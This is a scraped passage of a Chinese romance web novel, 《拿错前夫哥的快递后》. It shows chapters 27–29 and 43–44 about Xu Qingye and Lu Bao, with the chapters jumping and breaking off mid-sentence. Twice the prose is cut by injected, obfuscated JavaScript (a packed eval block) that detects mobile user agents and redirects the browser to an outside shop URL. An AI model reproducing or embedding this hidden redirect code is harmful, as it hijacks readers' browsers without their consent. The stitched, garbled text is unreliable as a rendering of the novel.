还是那副死性难改的样子,回答了一个问题,却跳过了另一个。胜负欲受挫,许清也有一瞬间无语。 “摘星星的国王”是她在“小行星”认识的第一个,也是唯一一个朋友。 准确来说,像他们这样因为某个共同爱好而认识的朋友,应该还有一个精确的词,叫做同好。 “小行星”是一个业余天文爱好者的小众交流平台,大多数人只在类似漂流瓶的广场发帖子,分享自己碰到的罕见现象。 不过软件制作得很粗糙,功能开发也 27. 摘星星的国王 《拿错前夫哥的快递后》全本免费阅读 “那是我第一个喜欢的男生的生日。” 许清也的声音平淡,握在牛奶瓶上的指尖却不自觉地捏得薄红。 阳光透过落地窗打在她栗色的发丝上,她出门时随意编了个简单的侧麻花,颊侧细碎的发丝从辫子里偷偷散落,在阳光下好像闪着光。 路薄的目光一瞬不移地看着她阳光下闪着光的发丝。 冬天的阳光照在身上并不灼热,只有淡淡的暖意。许清也没有躲,反而把脸颊朝着阳光的方向偏了偏。 “余情未了?” 她惊讶地回头,路薄已经把那杯甜的过分的咖啡仰头喝下一大半,神情自然地仿佛只是闲谈中午要吃什么。 他问的直接,不过许清也也并没有感到被冒犯的不舒服。 毕竟路薄一向是这样的直白的性格。 “只是习惯了而已。” 她低头夹着小笼包,随意道: “都八年过去了,我连他长什么样都忘了。” 这次许清也说谎了。 其实她根本就没见过“摘星星的国王”,只见过一张模糊的背影照片。 原本也是有机会见面的。 一抬头,许清也就看见桌对面男人玩味地挑眉的样子。 显然是不信她的话。 “最多只是还有点愧疚罢了。” 话不由自主地脱口而出了,许清也抿了抿唇,低头去喝冰牛奶掩饰着慌张。 关于“愧疚”两个字的故事说来话长,也是她不愿意提起的过去。 她不知道该如何应对他直白的追问。 好在路薄竟然只是点了点头,就打开保温盒慢慢吃起早饭来。 咖啡店靠窗的桌子不大,面对面坐着的时候,两个人的摊开的保温盒只差一点就要碰到一块。许清也低头吃着早饭,不合时宜地感叹他的睫毛的确长而鸦黑。 视线来不及移开,就实打实撞入他忽然抬起的浅眸中。 许清也闪躲地避开视线,就听到路薄喉间低低的笑意。 夹着春卷的筷子在她面前晃了一圈,油炸过的春卷皮在阳光下散发油炸的焦香,卷皮下还透出蔬菜的绿意。 视线忍不住追随着诱人的食物,可筷子在她眼前绕了个圈,最后却还是将春卷送入了对面那个男人的口中。 “不是我小气,是阿姨叮嘱不让你吃。” 他眉梢挂着笑意,眸中闪着恶作剧成功的趣味,幼稚得发指。 “我才不吃呢。” 许清也没好气地答,埋头有一搭没一搭地喝着牛奶,心里却松了口气。 原来他是以为自己刚才在看他盒子里的春卷。 整顿早饭,她都不太敢抬头看他,就怕视线又像刚才一样不小心撞上。 不过这种尴尬的局面并没有延续太久。 路薄的电话开始响个不停,拿着电话到门口接听的时候,许清也隔着玻璃看不清他侧身时候的口型,却能清楚地看到他眉梢消失的笑意。 男人皱着眉接完了电话,时间并不久,看起来却不是一通简单的电话。 因为许清也从他眼底看到了从未有过的怒意在波动。 “抱歉,研究院忽然有事,我得出去一趟。” 他拿大衣的动作带着一丝不明显的烦躁,许清也理解地点了点头。 其实路薄根本没必要跟她抱歉,今天算是他出差回来的休息日,他们也没有约定好,要做什么本来也没有必要跟她说。 “‘下班’了打给我,我来接你。” 桌上的咖啡已经喝完了,路薄抱歉地看了一眼还没吃完的早饭,丢下一句话就转身推门离开了。 许清也透过玻璃窗望着他合上车门的侧影,感叹人与人之间奇妙的际遇。 两个星期前,他们还是电梯里碰见也只是点点头不说话的陌生邻居,两个星期后,竟然能从他嘴里听到“下班来接你”的话。 这话简直太像寻常情侣的日常,让她莫名觉得有点好笑。 许清也这边正享受着雨季难得灿烂的阳光,另一边的路家别墅却笼罩着极端的低气压,正酝酿着一场暴风雨。 整整在这里工作了八年的王阿姨默默收拾着早饭的餐盘,碗盘碰到一块,发出清脆的响声,在过分安静空旷的厅里显得格外明显。 路向明已经吃完了早餐,正坐在客厅里看文件。 久居高位,他已经很多年不将情绪外露,此刻却眉心紧皱,是不是抬头看一眼紧闭的大门。 叮咚—— 门铃响起,还在收餐盘的王阿姨要去开门,却被沙发上的男人叫停。 “不用理他,这是自己家,他难道不会自己开门进来吗?” 王阿姨尴尬地停在原地,短短两秒钟之后,门口就响起微弱的密码声。 大门咔嚓一声被推开,路薄压抑着火气扫了一眼,站在茶几前没有动作。 气氛一时之间剑拔弩张,王阿姨不知道是第几次看他们父子这样不对付地僵持,拉着路薄道: “小薄早饭吃过了吗,厨房里还有……” 路薄礼貌地拉开王阿姨的手,先一步道: “已经吃过了,阿姨你先去忙吧。” 主家的事情她不好掺和太多,见路向明不啃声,也就转身去接着收餐盘。 “我妈呢?” 路薄沉了口气问。 “你妈妈在房间里倒时差。” 路向明合上膝上的资料,终于抬头看了他一眼,目光在他还带着淡淡血丝的眼中停留片刻,补充道: “她才下飞机没多久,你别去吵她。” “你要是不操心多余的事,当然不会吵醒她。” 路薄最烦的就是路向明这副没必要的嘱咐。那又不仅仅是他老婆,也是他亲妈,他就算再怎么生气也不至于去吵没休息好的蒋女士。 茶几两边的男人有着如出一辙的眉眼,只不过年轻的男人眼角眉梢都是烦躁的怒意,藏也藏不住话里的枪子儿味,而另一边的中年男人只是慢悠悠抿了口茶。 “只是在电话里先跟你说一声,也没必要现在就跑一趟回家。” 四两拨千斤,路向明轻飘飘的一句话就把事情粉饰得稀松平常。 总是不得不承认姜还是老的辣。 “我已经结婚了。”路薄几乎是咬着牙道。 “这年头年轻人分分合合也很正常,祝小姐刚留学回来,思想肯定比我们这些 28. 借她两分钟 《拿错前夫哥的快递后》全本免费阅读 从路家别墅出来,才开出两个路口,路薄就找了个地方停下了车。 车子已经熄了火,腕上银白的表盘上映出他冰冷的眸,骨节分明的大手依旧握在方向盘上,单从他线条完美的手背上凸起的青筋就不难看出他此刻不平静的心绪。 爷爷去世的那一年,正是他和家里闹的最凶的一年。 那恰巧是路薄高二升高三的一年,正是家长眼中学习最要紧的时刻。 他的成绩一直稳定在年级前几,江城三中是江城的重点高中,只要他保持好目前的成绩,去海市大学、江城大学甚至申请国外的名校都不是问题。 矛盾在于专业。 蒋玉琳想要他出国去念金融系,好回来继承公司;爷爷一辈子念着自己那没能实现的天文梦,吵着要他报天文系。 每一次一家人聊起他高考后报考的专业方向,只要他一提起想要报考地质学,路向明都会拦着情绪激动的蒋女士,打着太极把话题岔开。 正因如此,路薄也曾经以为路向明就算不是支持他,至少也不是反对的态度。 直到学校晚自习停电的那天,他提早回了家。 还在房门口,就听见路向明漫不经心地安抚着蒋玉琳: “还是做事毛毛躁躁的年级,何必为了这点小事跟他吵。” “你放心,念书的事情轮不到他来决定。” 那时候的路向明也不过是像如今一样。 虽然看起来并不干涉他的任何决定,却从来也没有尊重过他真正的想法。 路薄没有进房门,而是拎着书包转身离开了家门。 从那天起,他就单方面地跟路向明冷战着,不仅偷偷逃掉晚自习去登山夜爬,甚至更加出格地“离家出走”到国外旅行。 路远每天顶着全家的低气压,战战兢兢地跟朋友吐槽: 路向明是个倔脾气,路薄更是“青出于蓝而胜于蓝”,决定的事情十头牛都拉不回来。他们神仙斗法,只轮到小鬼遭殃。 后来蒋玉琳发现他还在偷偷买地理杂志看,以学习为由收掉了他的手机,他就网上买了一部二手智能机,偷偷订阅电子版的地理杂志。 二手机上有一个他从来没见过的软件,简洁的软件图标上只有一个浅蓝色的行星。 软件的名字叫做“小行星”,似乎是一个业余天文爱好者的交流软件。 想起来爷爷每天挂在嘴边唠叨的天文学,路薄忍不住随手注册了一个账号,谁知道一注册就跟人杠上了。 纠缠不休地吵了半个多小时,明明是个比他还小几岁的女孩,吵起来却逻辑强悍,话虽然说的客气,却棉花里藏针,一不小心就要把人扎一个血窟窿。 有快小半年,路薄开始频繁的用逃课的方式来幼稚地表达对家里的不满,旅行的途中常常碰见一些好看的云,登山夜爬的时候也时常看见清晰的星座。 起初只是随意的分享,渐渐地,发给照片给她却成了习惯。 甚至会为了拍到罕见的天气发给她,特地在某个地方停留。 高三寒假前的最后一次月考后,他买了出国的机票,打算在拿着存款在欧洲玩一阵子。 他还有很多想去看的地质奇观,回江城后还要复习冲刺,整个假期都不打算再回家。 计划很完美,却没想到在机场碰见了爷爷。 路薄下意识以为爷爷是来捉他回家的,看起来泰然自若,眼神却悄悄飘向大厅四周,已经不动声色地开始计划逃跑路线。 没想到爷爷却在他身边坐下,问起来他的行程安排。 听说路薄这趟旅程的最后一站是瑞士,他不仅只字不提回家的事,甚至还玩笑似地威胁路薄可得记得多拍点极光的照片传给自己。 “您不拦我吗?” 路薄抬眸,视线顺着机场光滑的地板延伸向落地窗外云际中刚刚起飞的飞机。 “拦什么?” “就因为爷爷也不支持你报地质学吗?” 声音里带着笑意,爷爷顺着他的目光抬头看向落地窗外的天空,眼中是他不止一次见过的向往。 那是一种真挚而眷恋的眼神,一种格外长久缱绻的温柔。 “这个家里每个人都有自己的想法。” 坐在他身侧的男人已经年过花甲,时间的风霜善待了他的面庞,却在鬓发留下了白霜。 “重要的是你自己是怎么想的。” 机场的广播开始播报路薄的航班信息,标准的播音女声在空旷的侯机厅里回荡。 路薄拿起行李,还没张口就看见爷爷朝他摆了摆手道: “走吧。” 不怪人家说“老小孩”,年纪越大越幼稚。 “现在的小孩心思真是多变。” 他才刚转身,身后的便伴着一声叹息传来爷爷的感叹声: “小时候还说要把喜欢的星星都摘下来呢,现在让报个天文学专业都不肯。” 剩下的登记时间并不多了,路薄小跑着回头朝爷爷摆手,笑着进了登机通道。 那时的他满心都是倔强的气性,忙碌地按照计划游历着不同的国家,怎么也想不到在机场的这一面竟然会成为他和爷爷的最后一面。 行程的最后一站是瑞士。 路薄拍了许多极光的照片,在登机前整理好发给了爷爷。 可等来的不是他的回复,而是蒋玉琳带着哭腔的一个电话。 爷爷爱了这片蓝天一辈子,最后却正是被这片蓝天夺走了生命。 空难是没有预兆的,也不曾留下告别的时间。 整个路家唯一真正尊重他梦想的人就这样永远离开了他,在来瑞士找他的途中。 云层忽然散开,刺眼的阳光穿过前窗玻璃照在驾驶座上。 光线晃了他的心神,路薄捏了捏眉心,拿起手机动作熟练的输入密码,打开了一个私密相册。 整个相册都是各种各样的天空,有架在云端的彩虹,也有罕见的风暴。 时隔久远,爷爷去世后,他已经很多年没有再拍过天空了。 男人的指尖在屏幕上滑动,翻过“小行星”最初的软件界面截图,停留在相册尽头。 ——照片里远处的教学楼上还挂着高考冲刺加油的横幅,遥远的夜空中模模糊糊划过一道流星。 女孩靠着栏杆,抬头看着远处漆黑的夜空,只露出半张模糊的侧脸。 明明只有半张模糊的侧脸,连他自己也奇怪,为什么总能一眼认出许清也。 青涩稚嫩的,或是如今成熟些的她,这一点从 29. 可爱 《拿错前夫哥的快递后》全本免费阅读 “清也,我们也知道你受委屈了。” 熟悉的面孔围在周围,主编的看起来因为她刚才的话有点慌张,还讪笑着劝道: “但好在现在都真相大白了,该罚的人也都受到惩罚了,我们也没必要因为这件事影响自己的生活对吧?” 袁主编有意无意地瞥了一眼许清也对面空荡荡的桌子。 那张桌子是孙霏霏的。 昨晚的声明刚刚发酵的时候她还试图冷处理,直到源源不断地留言挤进她的评论区,事态终于无法控制,她才发了一则不痛不痒的道歉声明。 杂志社的处理结果出来得更快。 许清也刚从电梯门出来,就撞上了抱着纸箱离职的孙霏霏。 擦肩而过的瞬间,许清也还从她的愤愤的眼神中看见的不甘心。 看起来跟刚才网络上诚心实意道歉的完全不是一个人。 不过许清也并不在乎这些,道歉已经收到了。真心还是假意,她都受到了该有的惩罚。 “是啊清也,我们三月份的特刊才刚刚定完选题……” “清也姐,你现在走真的太可惜了。” “对啊,我们都会舍不得你的。” …… 办公室不大,坐在一圈的同事听见她要辞职,此刻都围在袁主编身边附和着挽留。 “本来就是孙霏霏的错,你跟着辞什么职啊。” 文编部的文晓正好来送资料,撇嘴不自在地附和。 身边的同事尴尬地用胳膊肘撞了撞她,示意她别提了。 许清也好笑地将他们之间的小动作收入眼底。 她辞职并不是赌气,也不完全是因为孙霏霏,顶多是这件“抄袭风波”加快了她提辞职的脚步。 “我是认真的。” 许清也留恋地看了一眼这张曾经奋斗了好几年的办公桌,最终只捧起了桌角那盆仙人掌。 浇水的事情一拖再拖,没想到这盆前辈送的入职礼物居然这么坚强地活了下来。 绿意盎然,突然让她有点舍不得。 虽然辞职的决定很难说出口,但许清也还是诚恳地看向袁主编,鉴定地表明了自己的态度。 “主编,我想辞职。” 说出口的时候好像也深深地舒了一口气,虽然心依旧闷闷地透不出气来,但好像人却轻盈了些。 不用再背负着对尹女士的歉疚,她好像也变成了一个不自私的人了。 周遭忽然安静下来。 也许是被自己突然提的辞职吓到了吧。 许清也刚要抬头,视线里却忽然出现一只骨节分明的手。 男人的手背上淡青色的血管凸起,轻轻松松地环住了她的手腕,拉着她往人群外大步流星地离开。 “抱歉,借她两分钟。” 他的声音冷静寻常,许清也却从他深潭中的黑眸中捕捉到了一点不悦。 她一手还抱着仙人掌,挣扎无用,索性像个洋娃娃一样随他摆弄方向带着走。 脚步迈进楼梯间,路薄就松开了她的手腕。 “你怎么来杂志社了?” 许清也受不了尴尬冷硬的气氛,扶着手里冰凉的盆栽问道。 “为什么要辞职?” 面前的男人胸口起伏一瞬,显然压抑着情绪,垂眸对上她愣怔的目光。 许清也不觉得自己辞职跟他有什么关系。 路薄过于激烈的反应让她本能地有点不舒服,抿唇避开他的目光。 “跟这次的事情没关系,我就是单纯的不想干了。” “许清也,你撒谎。” 他忽然抬手扶着她的后脑勺,强迫她转过视线跟他对视。 男人宽大的手抚在她的发丝上,从手心传来点点暖意。许清也对上他幽深的目光,心跳忽然心虚地颤了一瞬。 “你明明很珍视这份工作。” 他的手好像安抚似地揉了揉她的发顶,浅眸中是她从未见过的认真。 “许清也,这不是你的梦想吗?你为了这份工作付出努力,计算过吗?” “不管是为了谁。” “就这样放弃,不可惜吗?” 接连的问句明明是那么冷硬,却在他温柔的语气中像是闷棒一记一记砸在许清也面前。 当然可惜啊。她敛眸看着怀里充满生命力的仙人掌。 但是也值得。 “不可惜啊。” 许清也收拾好眼里最后的遗憾,摇着头朝他释然地笑。 耀眼的笑意让路薄晃了神,记忆中似乎有什么关键的碎片被串起了,他慢慢收回了抚在她发顶的手。 “是因为阿姨的病吧?” 许清也抬头看他,男人的眉头依旧轻蹙着,好像有什么难解的谜题困惑着他。 “路薄,你不是问我计算过吗。” “就是因为计算过,所以可以为了珍视的人做胆小鬼。” 她转身推开了楼梯间的门,拉着他走到电梯门口。 这次轮到路薄像个木头人似地,顺着她的方向任由她牵着走。 “你在这等我一会儿,我很快就收拾完东西出来。” 许清也的语气耐心地像是在哄小孩,抬眼看见他出神的样子,拽了拽他的手臂问道: “你不是来接我的吗?” 路薄乖顺地点了点头。 进玻璃大门的时候,许清也忍不住回了一眼头。 他像个等待主人的大狗狗,就站在原地一动不动,目光追随着她。一回头,就直直闯入她的视线中。 心口的裂缝好像不再往里灌冷风了,因为什么冷冰冰的堵住了风来的方向。 许清也弯唇收拾东西。 指尖触及发条漫那天随手涂鸦的线稿,脑中忍不住响起他刚才在楼梯间的话。 有人曾经知道这是她的梦想,并且是这样的为她可惜。 电脑的界面转着灰色圈圈关机,屏保那片广阔的大地变成一片漆黑。 许清也觉得比起那片没来及好好告别的天空,离开这片大地的时候已经不是那么孤独了。这段孤单的梦想也有人记得,不是吗? “清也姐。” 坐在孙霏霏隔壁的小栗忽然出声喊她。 “三月的特刊,你能不能陪着我们一起做完……” 她怀里抱着一叠厚厚的资料,五颜六色的便利贴从纸张的四面钻出来一小角,低着头的样子忽然让许清也想起来第一天报道的她。 还没有跟小栗说过感谢的话,她人生中的告别好像总是没有时间好好说再见。 “谢谢。” 她接过小栗怀中的资料,捧着仙人掌朝她挥手道。 “资料我先拿回去看,离开之前,我们把特刊做完吧。” 小栗惊喜地抬头,只看见许清也弯眸朝她摆手的背影。 她的背影轻灵却坚定,说不清有哪里变了,却好像和休假前的她已经完全不同了。 一定要概括的话,好像是多了些勇气。 让人从容的勇气。 ——— 跟上次坐上这辆越野车不同,这次许清也上车的动作已经熟练许多了。 盆栽里的碎土不小心撒了一点在座位上,她轻车熟路地从两人中间的储物箱里拿出垃圾袋,小心翼翼地处理好。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12883140|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之间没反应过来也正常吧。” “如果是我想到的那句话的话,只是想让你下次至少让我知道你在哪。” “不,这种不声不响离开的事,再也没有下次了好不好?” 他带着薄茧的指节从她的指尖慢慢入侵,温柔地穿过她的指尖,捉起她留在腕间的手十指相扣。 许清也抬头对上他的深潭般的眸。 这次来盐湖山观鸟,她的确没有在朋友圈透露,在顺手拉黑了他号码的情况下,要不是那条除夕夜前的微博,路薄还真的未必能找到她。 不过,他的回答,似乎意思是那句话就只是在说这次的不告而别而已。 “收下吧。” 路薄幼稚地晃了晃两人紧扣的手,一双狗狗眼里藏着委屈,居然让整张棱角凌厉的脸也显出一点示弱的央求。 从他短暂的尾音中,许清也好像还尝出了一丝“撒娇”的味道。 一向的冷漠的人突然向她“撒娇”,更何况是顶着这么一张精致帅气、挺鼻薄唇的脸,杀伤力简直达到了顶峰。 于是许清也忍不住俗气地点了点头。 与其担心未来、纠结一条未经证实的短信,她选择相信面前这个男人真诚挂念着她的心。 更何况,她还是觉得他跟某人有着说不出的相似。 许清也乖乖躺在床上,脱了外套和鞋子,整个人被他裹得严严实实,只剩下伤处的脚踝裸露在外。 只不过没了被窝包裹,本来就冰冷的脚踝跟窝在被窝里的身体更是形成了温度上的鲜明对比。 路薄拿了凳子坐在床边,大手捂住她白皙小巧的足背,暖意从他滚烫的掌心源源不断地传来。 许清也红着脸挣扎了两秒,见挣不脱,只好把脑袋往被窝里一钻。 可暖气蒸腾着,不得不承认困倦很快就找上门来。 她很快就沉沉睡着了。 迷迷糊糊地,她好像在天色擦黑的时候短暂地醒过一次。 窗外是橙黄色的落日,朦胧中看见男人转身的背影,许清也忽然福至心灵地想起最佳的试探问题。 她是知道“国王”先生的生日的,但路薄的生日却不知道。只要问一问这个,答案就很明显了吧? 可惜意识清醒了,身体却还是懒懒地不肯清醒,调动不起来丝毫动作。 许清也努力半天,最终的结果只是懒懒地哼唧两声,抗议似扭了扭身体。 好在男人的背影似有察觉地顿住了。 脚步声由远及近,模糊中光线似乎被他弯腰的动作挡住,变得昏暗。 “醒了?” 男人灼热的呼吸靠近,语气温柔地拨开她粘在脸颊上的发丝。 许清也想要疯狂地点头,急切的问句却问不出来,最后只是困倦地挤出了几个不算字节的音节: “有…问题,想要问…你。” 路薄似乎又靠近了些,努力了半天却还是没有听清她的话,只好轻笑一声摸着她的发丝道: “时间还早,再睡会儿吧。” 女孩潮红的脸颊上被发丝压出几缕浅浅的印痕,就好像玫瑰花瓣上精致微小的纹路,那张努力突出混沌音节的樱桃小口还不断地一张一合,倔强地不肯停下。 男人的视线在昏暗的光线定格,眸中一暗。 混沌中好像有温热的唇瓣落在她的眉心。 许清也恍惚听见他提琴组般低沉而诱惑人心的声音在耳畔响起: “睡吧。” “晚安,我的小玫瑰。” 43. 时刻 “晚安,我的小玫瑰。” …… 是吧?是听见他这么说了没错吧? 许清也靠在越野车的后座,抱着靠枕看着窗外掠过树影发呆。 从出门开始她就一路纠结着这句话到底是个梦,还是真实听到的。 总觉得清晰到可怕,但介于前几次同样清晰的梦,她也不敢随便下判断。 前座的两个男人透过后视镜偷偷看向后座的女孩。 她撑着脑袋靠在窗边,眉心皱着又舒展开,周而复始。 好像有什么难以解决的困扰。 许至言抢了迟枣枣跟车的位置,本来就有点心虚,接连瞟了几眼许清也皱着眉叹气的样子,没撑住几秒就转头忐忑地问: “姐,你是不是生我气了。” 终究还是顾忌在路薄面前低姿态有点丢脸,他尽量放轻了声音,话几乎都黏在了嗓子眼。 不过这样一来,这声音基本就被许清也划为环境声给忽略了,压根没意识到他在跟自己说话。 听不到回答,许至言终于顾不上丢脸,更大幅度地朝后座探头。 “姐?” 这回委委屈屈的声音终于是把许清也从纷乱的思绪中拉出来。 “怎么了?” 她抬头就看见许至言探出个脑袋的样子,第一次发现他的脖子还挺长。画面太滑稽,她甚至有点想笑。 “没怎么。” 许至言终究还是怂怂地揭过了话题。 驾驶座的男人轻笑一声,抬头见从后视镜瞥见许清也拨弄出风口的动作,伸手调低了空调风速。 许至言这个傻小子还没发现,其实许清也已经态度松动地允许了他喊她姐姐。 “热吗?” 他的目光透过镜子跟后座的女孩对上。 许清也摇摇头答道: “现在不了。” 回答速度看的许至言那叫一个眼红。 “车不是没油了吗? 车窗外的绿色不断飞速掠过,许清也后知后觉地想起一个问题,紧接着怀疑地问:“现在这油,在哪加的?” 路薄下意识摸了摸鼻尖,含糊道: “不远处有个加油站。” 许至言这下总算抓到点话柄,立刻揪着反驳: “我买下这民宿的时候在周边逛了很久,这附近加油站分明很远。” 言下之意就是你可别骗人了。 自觉检举到了他话里的漏洞,许至言像只竖着耳朵求表扬的大狗狗,转头一瞬不移地看向后座的许清也。 当然了,表扬的是没有的,反而看见了许清也嘴角悄悄勾起的笑。 莫名被塞了一嘴狗粮。 驾驶座的男人瞥见她目光澄明的笑,也弯唇小心开着夜路,耳根悄悄爬上薄红。 “你帮忙看着点路。” 她翘了翘下巴,终于主动给许至言派了点“任务”,好让他结束他无限刷存在感的躁动。 接到来自亲姐的指令,他果然一秒认真,转头帮着看起山路的路况来。 许清也其实真的觉得夜里的山路不太安全,可顶不住这两人一左一右地烦人,半诱惑半威胁的要她一定要去医院看一眼。 路薄的工作明明经常需要在山区野外出差,他也说了,她的伤口看起来的确是皮外伤,可就是跟着许至言一块闹人。 好在加油站远,离这里最近的医院却比加油站远不了多少。 下车的时候还是由路薄背着她,在门诊排了号顺利让医生看完了伤口。 “伤口不要沾水,按时涂药,休养几天就好了。” 医生抬头看了眼板板正正站在着姑娘身后的两个“大汉”,淡定地把取药单递给许清也。 “谢谢医生。” “都说了是皮外伤了吧?” 许清也无奈地看了眼身后一左一右的“两大护法”,扶着桌子要自己站起来。 路薄接过她手里的取药单,搀着人抿唇道: “医生,可以一起做一些常规检查吗?” 许清也意外地抬头,却对上男人沉静的深眸。 “你姐有时候早上起床会头晕,既然来了,就做个常规检查吧?” 他偏头朝许至言解释,语气当然不是询问的意思。不过涉及许清也的健康问题,许至言压根来不及计较多余的,深以为然地点了点头。 —— 他们出门的时候本来就不早了,简单的血常规检查后,已经接近深夜。 许清也的身体没什么大问题,头晕只是因为低血糖,了不起还有点贫血的小毛病。 报告单加急出来,路薄也终于放下心来。 其实许清也离开江城后,他去找过尹虹。 可能是因为真的相信了他跟许清也就是一对正常相恋结婚的夫妻,她压根预想过“假癌症”的事情许清也会瞒他。 三两句话,路薄就猜出了事情的来龙去脉。 尹虹的真正的检查报告单他看过,胰腺癌的事情是假,但大大小小的毛病却是真的存在。联想到许清也那些凌晨分享在微博上的线稿,还有她那天早上扶着门缓神的样子,路薄没办法不去担心。 好在她没什么事。 既然身体没什么问题,也没有住院的必要了。时间太晚,几人打算就近找个宾馆将就一晚上,明早再返回民宿。 “姐,咱们真的要住这儿吗?” 许至言看着宾馆走廊里稀疏布着霉斑的墙面,迟疑地问。 要他说,他们完全可以开车去找个星级宾馆住。就算是将就,也没必要这么委屈自己吧? 这几天他也算看出来了,路薄也是个不缺钱的主。于是他难得瞥了一眼路薄,示意他帮着说两句话。 “其实住不惯,你也可以不跟来的。” 许清也专心走路,压根没抬头看他一眼。 “星际酒店我可请不起。” 一语戳中许至言心里的九九,他寄托着唯一的希望看向路薄。路薄却轻耸了耸肩撇清道: “我可没有住不惯啊。” 在丰城的时候住宿条件可比这差多了,早习惯了,他可不是什么真的娇少爷。 许清也垂眸掩饰眸中的浅浅的笑意。 其实她心里也有点过意不去,这趟是出来陪她看伤,住宿当然应该是她掏钱才对。不过她刚辞了工作,又来盐湖山住了这么久,存款实在是捉襟见肘。 “我也没住不惯。” 怕许清也真把他赶到车里住,许至言跟着表态,还积极地问: “姐,那我住哪一间啊?” 许清也闻言,从口袋里掏出两张房卡,仔细辨认了卡上便签写着的房间号,拎出一张放回口袋: “这张是我的。” 另一张则拍到许至言手里。 “这张是你们的。” “我跟他住一间?” 许至言傻眼地捧着房卡,不可置信地看向他亲爱的姐姐。 “小也,我为什么要跟他住一间?” 路薄扶着她的手紧了紧,头一回跟许至言统一了战线。 “干嘛浪费钱多开一间啊?” 许清也理所当然地问,视线不解地在两人中间徘徊,摇着头叹道:“你们两个大男人,又不是不认识,该不会不好意思住一起吧?” “不用多开一间。” 路薄揉了揉她的发顶,许清也顺着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12884777|130745||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方向回头看,被他温柔却幽深如潭的视线一烫,拍开他的手回头。 走廊就这么大点地方,这一来一回当然躲不开许至言的眼睛。 他瞬间像个被点燃的炮仗,一声惊雷道: “不行!” “你,跟我住一间。” 他死死盯住路薄,也凑上来扶许清也。 其实没两步都已经走到房门口了。许清也无奈地甩开两个人,扶着墙挪了两步,就掏出口袋里的房卡刷开了房门。 “那就太好啦,晚安!” 她高兴地一拍巴掌,朝两人挥了挥手。 啪—— 房门重重一声关上。 留下门外两个男人幼稚又嫌弃地对视一眼,还是乖乖进了房间。 比起许清也一个人慢悠悠休息的悠闲,隔壁的气氛就显得有点焦灼了。 受不了尴尬的气氛,许至言正要先一步洗漱,余光看见走到门口的路薄,他又倒回脚步,警告道: “我警告你啊,你可别想趁着我洗漱溜去我姐那。” 许至言其实在南方人里已经算很高的了,但路薄居然比他还高出半个头。 身高压制,路薄垂眸看着他没说话,忽然却轻笑了一声。 “放心,我只是去买点洗漱用品。” “这里的……卫生有待改善。” 说完就推门离开了。 “还说自己适应,虚伪。” 许至言皱了皱眉,摸着卫生间置物架上的雪白的毛巾,若有所思地吐槽: “真有那么脏吗?” 脏不脏的不清楚,主要是过不了心里那一关。 好在宾馆楼下就有一家小卖部,日常的毛巾牙刷一应俱全。路薄很快就拎着一袋子日用品返回了房间门口。 只不过这门口不是许至言的那间,而是许清也房间的门口。 怕她已经躺下休息了,这次路薄先是轻轻地敲了敲门。 许清也正躺在狭窄的单人床上,看着天花板的白炽灯发呆。 她还在想着那句睡前听到的话。 一晚上都没找到独处的机会,刚才光顾着逗他们俩,也忘了拉着路薄多呆两分钟。想问的生日也一直没机会问出口。 怎么就能把这么重要的事情给忘了呢? 她懊恼地捂着脸,毫无温柔可言地揉搓着自己滑嫩白皙的脸蛋。 脑后高高的丸子头被她暴力的动作蹭散了不少,耳边的碎发从皮筋里钻出来,让原本元气精神的发型多了点居家的慵懒感。 一片寂静中,她忽然听见两声很轻的敲门声。 许清也汲着拖鞋,扶着墙单脚跳着到门口,趴着猫眼往外看。 “路薄!” 目及一片熟悉的衣角,她立刻拉开门,藏不住惊喜地喊他的名字。 门一开,女孩柔软的身体就扑进他怀中。 路薄拎着塑料袋展开手臂,稳稳揽住她柔软纤细的腰肢。她比在江城的时候更瘦了,只是随意一揽,就能把人完全抱入怀中。 走廊偶尔闪烁的暗橙色灯光中,两人就这么紧紧抱着,谁也没说话。 后来许清也也会偶尔想起这一晚,想起恋人间忐忑试探的话语,和时上时下过山车般的心情。 最后再看着枕边熟睡的男人感慨: ——原来恋爱是这样的东西,它把很多很多个平凡的时刻打造成能够无限延长的瞬间。 无数个某一刻,看起来也会像是永恒。 “许清也。” 路薄好笑地揉了揉她的发顶,恢复了刚搬到她楼下那时候气死人不偿命的语调,在她抬眸弯弯的眉眼中慢悠悠问道: “看见我就这么开心?” 44. 你爱她吗 “当然开心啊。” 许清也抬起脑袋看他,指尖环在他后颈悄悄够着交叠。 她的态度太过坦荡,仿佛回答了再理所当然不过的问题。路薄反而愣了一瞬,低头看着她弯弯的眉眼的发呆。 许清也一抬头就看见了他下巴上淡青色的胡茬,短短的,跟他平常精致帅气的形象极其不符,不过倒是给他矜贵的气质沾了点烟火气。 用迟枣枣的话来说,有一种颓废美。 不得不承认,他的确还是有臭屁的资本。 被他幽深的目光一瞬不移地盯着,一时逗他的趣味褪去,许清也也有点脸热。 “怎么,开心还不行吗?” 她垂眸撇开视线,心里有点小小的失落。 视线刚刚描到地脚,一阵天旋地转,许清也身体一轻,被路薄轻轻松松打横抱起。 伤了的脚腕垂在空中,她没有安全感地揽紧了他的脖子。 房间门被他随意勾着关上,许清也被吓了一条,刚要狠狠在他肩上拍几巴掌,就听见他带着低笑的声音。 “开心当然可以。” “既然见我开心,那就一直开心好不好。” 路薄放下她的动作珍重地好像放置一件易碎的艺术品。一整天奔波,许清也的鞋底旁还沾着保护区的泥巴,他却眉也没皱一下的替她脱下来,整齐地摆在床边。 “什么意思?” 